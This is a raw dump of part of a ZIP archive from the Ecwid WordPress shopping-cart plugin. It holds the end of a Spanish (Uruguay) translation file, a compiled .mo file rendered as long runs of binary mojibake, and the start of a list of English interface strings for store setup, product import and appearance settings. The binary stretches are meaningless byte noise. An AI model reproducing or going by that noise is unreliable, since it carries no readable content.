añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_UY.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_UY.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed 